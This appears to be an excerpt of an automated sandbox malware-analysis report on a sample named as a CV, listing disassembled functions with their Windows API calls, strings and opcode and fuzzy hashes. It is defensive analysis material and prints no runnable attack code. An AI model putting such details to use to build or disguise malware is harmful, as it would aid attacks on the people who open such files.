                                                                  • Opcode Fuzzy Hash: d4a351575de7914f4325a6926a8d51c27384788ce72145b7e4b58dac810097a3
                                                                  • Instruction Fuzzy Hash: DE21A174900108BFDB04AB64DC86FFEBBB5EF55301F100195F952971A1EB7559199B20
                                                                  Function 00B66F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                                  • String ID: 0.0.0.0
                                                                  • API String ID: 2620052-3771769585
                                                                  • Opcode ID: ff20634852691e4d79fe6994db2f12098ea1a6366a8ffc897ee531ab6b019c40
                                                                  • Instruction ID: 571196422d4ed59479efb2d3860b170495afc6e8d30ab6d187a3482c0890fa58
                                                                  • Opcode Fuzzy Hash: ff20634852691e4d79fe6994db2f12098ea1a6366a8ffc897ee531ab6b019c40
                                                                  • Instruction Fuzzy Hash: AD11E172904215BBCB28AB60AC4AEEA77ECEF41710F0000E9F506A6091FF78DE859B51
                                                                  Function 00B5BAD7 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 71windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetParent.USER32 ref: 00B5BAE3
                                                                  • GetClassNameW.USER32(00000000,?,00000100), ref: 00B5BAF8
                                                                  • _wcscmp.LIBCMT ref: 00B5BB0A
                                                                  • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00B5BB85
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ClassMessageNameParentSend_wcscmp
                                                                  • String ID: @U=u$SHELLDLL_DefView$details$largeicons$list$smallicons
                                                                  • API String ID: 1704125052-1428604138
                                                                  • Opcode ID: addb2698981e772c57238c0e39078efcdb32ef426a6ccaf8689708fccbd8dfee
                                                                  • Instruction ID: 7d7db874ca2dc7139b821a502fecca052188ce228b46386982a773c514857168
                                                                  • Opcode Fuzzy Hash: addb2698981e772c57238c0e39078efcdb32ef426a6ccaf8689708fccbd8dfee
                                                                  • Instruction Fuzzy Hash: 1F11067A608743F9FA247724DC07EA677DCDB21320B2000E2FE05E50E5FFE169556914
                                                                  Function 00B4500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B45047
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  • __gmtime64_s.LIBCMT ref: 00B450E0
                                                                  • __gmtime64_s.LIBCMT ref: 00B45116
                                                                  • __gmtime64_s.LIBCMT ref: 00B45133
                                                                  • __allrem.LIBCMT ref: 00B45189
                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B451A5
                                                                  • __allrem.LIBCMT ref: 00B451BC
                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B451DA
                                                                  • __allrem.LIBCMT ref: 00B451F1
                                                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00B4520F
                                                                  • __invoke_watson.LIBCMT ref: 00B45280
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                  • String ID:
                                                                  • API String ID: 384356119-0
                                                                  • Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                  • Instruction ID: 9b232ca43554fc3d94d5c22f728f48101db116faffd780fa50a4374df7b3fe89
                                                                  • Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                  • Instruction Fuzzy Hash: F771C875A01F16ABD7249F7CCC81B6AB3E8EF05764F1442AAF910D6382E770DA449BD0
                                                                  Function 00B64DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • _memset.LIBCMT ref: 00B64DF8
                                                                  • GetMenuItemInfoW.USER32(00BE1708,000000FF,00000000,00000030), ref: 00B64E59
                                                                  • SetMenuItemInfoW.USER32(00BE1708,00000004,00000000,00000030), ref: 00B64E8F
                                                                  • Sleep.KERNEL32(000001F4), ref: 00B64EA1
                                                                  • GetMenuItemCount.USER32(?), ref: 00B64EE5
                                                                  • GetMenuItemID.USER32(?,00000000), ref: 00B64F01
                                                                  • GetMenuItemID.USER32(?,-00000001), ref: 00B64F2B
                                                                  • GetMenuItemID.USER32(?,?), ref: 00B64F70
                                                                  • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00B64FB6
                                                                  • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B64FCA
                                                                  • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00B64FEB
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ItemMenu$Info$CheckCountRadioSleep_memset
                                                                  • String ID:
                                                                  • API String ID: 4176008265-0
                                                                  • Opcode ID: d611db130c9fb86ae5e95d2b26f437a9fe0f1147288046d48b9a1abe17559785
                                                                  • Instruction ID: 2dceb2452aa77649700847772368463170beadd95b6228c710c5a7f9ab998bb6
                                                                  • Opcode Fuzzy Hash: d611db130c9fb86ae5e95d2b26f437a9fe0f1147288046d48b9a1abe17559785
                                                                  • Instruction Fuzzy Hash: 3661A0B1900689EFDB21CFA8DC88EAE7BF8FB01304F144599F54AA7251D739AD45CB20
                                                                  Function 00B89C16 Relevance: 16.7, APIs: 11, Instructions: 183windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00B89C98
                                                                  • SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00B89C9B
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00B89CBF
                                                                  • _memset.LIBCMT ref: 00B89CD0
                                                                  • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00B89CE2
                                                                  • SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00B89D5A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$LongWindow_memset
                                                                  • String ID:
                                                                  • API String ID: 830647256-0
                                                                  • Opcode ID: 95b2080459316e374d01bb045fdf7f0ac94eaafd1d8bcb86f4c0e74de3cea858
                                                                  • Instruction ID: 0b2895096a540c2a9f936e1337f0cc91ff0cbbf89da44c7fae936be35adb70af
                                                                  • Opcode Fuzzy Hash: 95b2080459316e374d01bb045fdf7f0ac94eaafd1d8bcb86f4c0e74de3cea858
                                                                  • Instruction Fuzzy Hash: A6617B75900248AFDB11DFA8CC81EFE77F8EB09704F1445AAFA05AB2A1D770AD45DB50
                                                                  Function 00B594E1 Relevance: 16.6, APIs: 11, Instructions: 109memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,?), ref: 00B594FE
                                                                  • SafeArrayAllocData.OLEAUT32(?), ref: 00B59549
                                                                  • VariantInit.OLEAUT32(?), ref: 00B5955B
                                                                  • SafeArrayAccessData.OLEAUT32(?,?), ref: 00B5957B
                                                                  • VariantCopy.OLEAUT32(?,?), ref: 00B595BE
                                                                  • SafeArrayUnaccessData.OLEAUT32(?), ref: 00B595D2
                                                                  • VariantClear.OLEAUT32(?), ref: 00B595E7
                                                                  • SafeArrayDestroyData.OLEAUT32(?), ref: 00B595F4
                                                                  • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B595FD
                                                                  • VariantClear.OLEAUT32(?), ref: 00B5960F
                                                                  • SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00B5961A
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                                  • String ID:
                                                                  • API String ID: 2706829360-0
                                                                  • Opcode ID: a5c28e44365c8d59cba3e5dcfdf7fe5816893d0766c134027ec62216fedc61bd
                                                                  • Instruction ID: 54502115456a7ca9decdd26bb6869c52deb8f8d6e76733f44df49ddf032fd407
                                                                  • Opcode Fuzzy Hash: a5c28e44365c8d59cba3e5dcfdf7fe5816893d0766c134027ec62216fedc61bd
                                                                  • Instruction Fuzzy Hash: FF412C71900219EFCF019FA4D885ADEBFB9EF08355F1080A5F912A3251DF30AA49CBA1
                                                                  Function 00B7ADAE Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B2936C: __swprintf.LIBCMT ref: 00B293AB
                                                                    • Part of subcall function 00B2936C: __itow.LIBCMT ref: 00B293DF
                                                                  • CoInitialize.OLE32 ref: 00B7ADF6
                                                                  • CoUninitialize.OLE32 ref: 00B7AE01
                                                                  • CoCreateInstance.OLE32(?,00000000,00000017,00BAD8FC,?), ref: 00B7AE61
                                                                  • IIDFromString.OLE32(?,?), ref: 00B7AED4
                                                                  • VariantInit.OLEAUT32(?), ref: 00B7AF6E
                                                                  • VariantClear.OLEAUT32(?), ref: 00B7AFCF
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
                                                                  • String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
                                                                  • API String ID: 834269672-1287834457
                                                                  • Opcode ID: 9d5de81248e62cb5d0112d958bd533368d88f8c5692c2314c7a900895d6fccea
                                                                  • Instruction ID: c1cf7985c0d2f3e0347193a439b8e8a120af672501223950a69d45981a14f920
                                                                  • Opcode Fuzzy Hash: 9d5de81248e62cb5d0112d958bd533368d88f8c5692c2314c7a900895d6fccea
                                                                  • Instruction Fuzzy Hash: C7618B702083119FC750DF54D889B6EB7E8EF89714F108499F99A9B291D770ED44CB93
                                                                  Function 00B3CB8D Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 185windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetWindowLongW.USER32(?,000000EB), ref: 00B3CC15
                                                                    • Part of subcall function 00B3CCCD: GetClientRect.USER32(?,?), ref: 00B3CCF6
                                                                    • Part of subcall function 00B3CCCD: GetWindowRect.USER32(?,?), ref: 00B3CD37
                                                                    • Part of subcall function 00B3CCCD: ScreenToClient.USER32(?,?), ref: 00B3CD5F
                                                                  • GetDC.USER32 ref: 00B9D137
                                                                  • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00B9D14A
                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00B9D158
                                                                  • SelectObject.GDI32(00000000,00000000), ref: 00B9D16D
                                                                  • ReleaseDC.USER32(?,00000000), ref: 00B9D175
                                                                  • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00B9D200
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                                  • String ID: @U=u$U
                                                                  • API String ID: 4009187628-4110099822
                                                                  • Opcode ID: 4f43cdfcfbf2ab4b825d93ea762a3e7f4e892c6e34b849da17256cd69a18b2fe
                                                                  • Instruction ID: fdd8152e1f2cc76088a731543191182f6d30334b5238af60c56d2befd9d75e54
                                                                  • Opcode Fuzzy Hash: 4f43cdfcfbf2ab4b825d93ea762a3e7f4e892c6e34b849da17256cd69a18b2fe
                                                                  • Instruction Fuzzy Hash: 1871D031400209DFCF219F69CC85AAA7BF5FF49314F2446B9ED556B2A6DB318841DF60
                                                                  Function 00B78107 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • WSAStartup.WSOCK32(00000101,?), ref: 00B78168
                                                                  • inet_addr.WSOCK32(?,?,?), ref: 00B781AD
                                                                  • gethostbyname.WSOCK32(?), ref: 00B781B9
                                                                  • IcmpCreateFile.IPHLPAPI ref: 00B781C7
                                                                  • IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00B78237
                                                                  • IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00B7824D
                                                                  • IcmpCloseHandle.IPHLPAPI(00000000), ref: 00B782C2
                                                                  • WSACleanup.WSOCK32 ref: 00B782C8
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
                                                                  • String ID: Ping
                                                                  • API String ID: 1028309954-2246546115
                                                                  • Opcode ID: 4e79b706b51a697e7a391c578636d900a8aa80b0ded3e5aa4380d766ef9c6f89
                                                                  • Instruction ID: f6b4489229dd58c5d0c55afcdf0107399f0df64075ceba10a2a5eaa2bf5932a7
                                                                  • Opcode Fuzzy Hash: 4e79b706b51a697e7a391c578636d900a8aa80b0ded3e5aa4380d766ef9c6f89
                                                                  • Instruction Fuzzy Hash: DB51B4316447009FD7109F24DC8AB2ABBE5EF49310F1488A9F96AE72A1DF30ED05CB42
                                                                  Function 00B8ECD4 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 149windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                    • Part of subcall function 00B3B63C: GetCursorPos.USER32(000000FF), ref: 00B3B64F
                                                                    • Part of subcall function 00B3B63C: ScreenToClient.USER32(00000000,000000FF), ref: 00B3B66C
                                                                    • Part of subcall function 00B3B63C: GetAsyncKeyState.USER32(00000001), ref: 00B3B691
                                                                    • Part of subcall function 00B3B63C: GetAsyncKeyState.USER32(00000002), ref: 00B3B69F
                                                                  • ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?,?), ref: 00B8ED3C
                                                                  • ImageList_EndDrag.COMCTL32 ref: 00B8ED42
                                                                  • ReleaseCapture.USER32 ref: 00B8ED48
                                                                  • SetWindowTextW.USER32(?,00000000), ref: 00B8EDF0
                                                                  • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00B8EE03
                                                                  • DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?,?), ref: 00B8EEDC
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
                                                                  • String ID: @GUI_DRAGFILE$@GUI_DROPID$@U=u
                                                                  • API String ID: 1924731296-2104563098
                                                                  • Opcode ID: d685104b1f8f7726c275461e455144efd78710147296f99ed045b5099b5c90ac
                                                                  • Instruction ID: 9d861f9e13bc1b258af67ad6db9db2c2718f32cf171257debe7d8f9bfc989dbb
                                                                  • Opcode Fuzzy Hash: d685104b1f8f7726c275461e455144efd78710147296f99ed045b5099b5c90ac
                                                                  • Instruction Fuzzy Hash: 1451A970204304AFD714EF24DC9AF6A77E4FB88304F10496DF9959B2E2DB70A944CB52
                                                                  Function 00B6E389 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 97COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetErrorMode.KERNEL32(00000001), ref: 00B6E396
                                                                  • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 00B6E40C
                                                                  • GetLastError.KERNEL32 ref: 00B6E416
                                                                  • SetErrorMode.KERNEL32(00000000,READY), ref: 00B6E483
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Error$Mode$DiskFreeLastSpace
                                                                  • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                                                  • API String ID: 4194297153-14809454
                                                                  • Opcode ID: c650653b9297a1be2a5bf4285336d7bfa71a9eadf256fc6ddb34757b4d5e588c
                                                                  • Instruction ID: 35fd4ce452c424672f5e49756cb75999a83c9066942a18b480853d0fe8f0e839
                                                                  • Opcode Fuzzy Hash: c650653b9297a1be2a5bf4285336d7bfa71a9eadf256fc6ddb34757b4d5e588c
                                                                  • Instruction Fuzzy Hash: 66316339A002099FDB01EB64D895BADBBF4EF45700F1480A6E515E73A1EF74D941C791
                                                                  Function 00B88ECC Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 95windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • DeleteObject.GDI32(00000000), ref: 00B88EE4
                                                                  • GetDC.USER32(00000000), ref: 00B88EEC
                                                                  • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B88EF7
                                                                  • ReleaseDC.USER32(00000000,00000000), ref: 00B88F03
                                                                  • CreateFontW.GDI32(?,00000000,00000000,00000000,00000000,?,?,?,00000001,00000004,00000000,?,00000000,?), ref: 00B88F3F
                                                                  • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00B88F50
                                                                  • MoveWindow.USER32(?,?,?,?,?,00000000,?,?,00B8BD19,?,?,000000FF,00000000,?,000000FF,?), ref: 00B88F8A
                                                                  • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00B88FAA
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                  • String ID: @U=u
                                                                  • API String ID: 3864802216-2594219639
                                                                  • Opcode ID: ec145bb1209835b1faaf4d7c20ab11c1b201fdd217e0ada0ca6eeb53ed13e8a1
                                                                  • Instruction ID: 8030ab29ae24d7a86e7df803cf618686681b1d3dff5fee84374116115d1249ea
                                                                  • Opcode Fuzzy Hash: ec145bb1209835b1faaf4d7c20ab11c1b201fdd217e0ada0ca6eeb53ed13e8a1
                                                                  • Instruction Fuzzy Hash: 9D314D72200214BFEB119F54CC4AFEA3BA9EF4A755F044065FE09DB1A1DA759841CBB4
                                                                  Function 00B7B2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • VariantInit.OLEAUT32(?), ref: 00B7B2D5
                                                                  • CoInitialize.OLE32(00000000), ref: 00B7B302
                                                                  • CoUninitialize.OLE32 ref: 00B7B30C
                                                                  • GetRunningObjectTable.OLE32(00000000,?), ref: 00B7B40C
                                                                  • SetErrorMode.KERNEL32(00000001,00000029), ref: 00B7B539
                                                                  • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 00B7B56D
                                                                  • CoGetObject.OLE32(?,00000000,00BAD91C,?), ref: 00B7B590
                                                                  • SetErrorMode.KERNEL32(00000000), ref: 00B7B5A3
                                                                  • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00B7B623
                                                                  • VariantClear.OLEAUT32(00BAD91C), ref: 00B7B633
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
